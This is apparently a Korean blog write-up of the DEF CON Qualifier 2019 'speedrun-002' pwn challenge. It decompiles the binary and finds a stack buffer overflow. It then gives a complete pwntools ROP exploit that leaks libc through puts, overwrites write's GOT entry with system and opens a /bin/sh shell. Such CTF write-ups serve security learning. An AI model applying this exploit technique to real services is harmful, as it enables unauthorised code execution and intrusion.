일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- heap
- 이진 탐색
- 스택
- DFS
- 브루트 포스
- House of Orange
- 다이나믹 프로그래밍
- 연결리스트
- off by one
- 포맷스트링버그
- 스위핑 알고리즘
- 완전 탐색
- RTL
- BFS
- 분할 정복
- 이분 탐색
- OOB
- 백트래킹
- 문자열 처리
- 이진트리
- syscall
- 동적 계획법
- 에라토스테네스의 체
- 큐
- fsb
- 투 포인터
- tcache
- 수학
- BOF
- ROP
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
Defcon Qualifier 2019 - speedrun-002 본문
보호기법은 Partial RELRO, NX가 활성화 되어있다.
바이너리를 분석해보자.
먼저 sub_40074C()함수를 보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
int sub_40074C()
{
int result; // eax
char buf; // [rsp+0h] [rbp-590h]
char v2; // [rsp+190h] [rbp-400h]
puts("What say you now?");
read(0, &buf, 0x12CuLL);
if ( !strncmp(&buf, "Everything intelligent is so boring.", 0x24uLL) )
result = sub_400705(&v2);
else
result = puts("What a ho-hum thing to say.");
return result;
}
|
먼저 buf에 0x12C만큼 입력을 하고 buf에 쓰인 값이 "Everything intelligent is so boring."과 같으면 sub_400705를 호출하며 v2의 주소를 인자로 넘겨준다.
그리고 sub_400705()함수를 보면
1
2
3
4
5
6
|
ssize_t __fastcall sub_400705(void *a1)
{
puts("What an interesting thing to say.\nTell me more.");
read(0, a1, 0x7DAuLL);
return write(1, "Fascinating.\n", 0xDuLL);
}
|
인자로 넘어온 void *a1에 0x7DA만큼 입력을 하는것을 알 수 있다.
근데 a1는 이전 함수 sub_40074C에서 v2이고, v2의 크기는 고장 0x400이다.
따라서 BOF가 발생하게 되고 ROP를 통해 exploit을 하면 된다.
exploit 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
from pwn import *
p = process('./speedrun-002')
p.sendline("Everything intelligent is so boring.")
sleep(0.05)
bss = 0x0000000000601069 + 0x500
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006ec
leave_ret = 0x40074a
read_leave_ret = 0x000000000040071D
puts_got = 0x601028
write_got = 0x601030
read_got = 0x601040
puts_plt = 0x4005b0
write_plt = 0x4005c0
read_plt = 0x4005e0
pay = ''
pay += 'a'*0x400
pay += 'bbbbbbbb'
pay += p64(pop_rdi) + p64(read_got)
pay += p64(puts_plt)
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(write_got) + p64(0)
pay += p64(pop_rdx) + p64(0x20)
pay += p64(read_plt)
pay += p64(pop_rdi) + p64(write_got+8)
pay += p64(write_plt)
p.sendline(pay)
sleep(0.05)
p.recvuntil("ing.\n")
libc_read = u64(p.recv(6).ljust(8,'\x00'))
libc_system = libc_read - 728768
print "libc_read : " + hex(libc_read)
print "libc_system : " + hex(libc_system)
p.sendline(p64(libc_system)+"/bin/sh\x00")
p.interactive()
|
Comments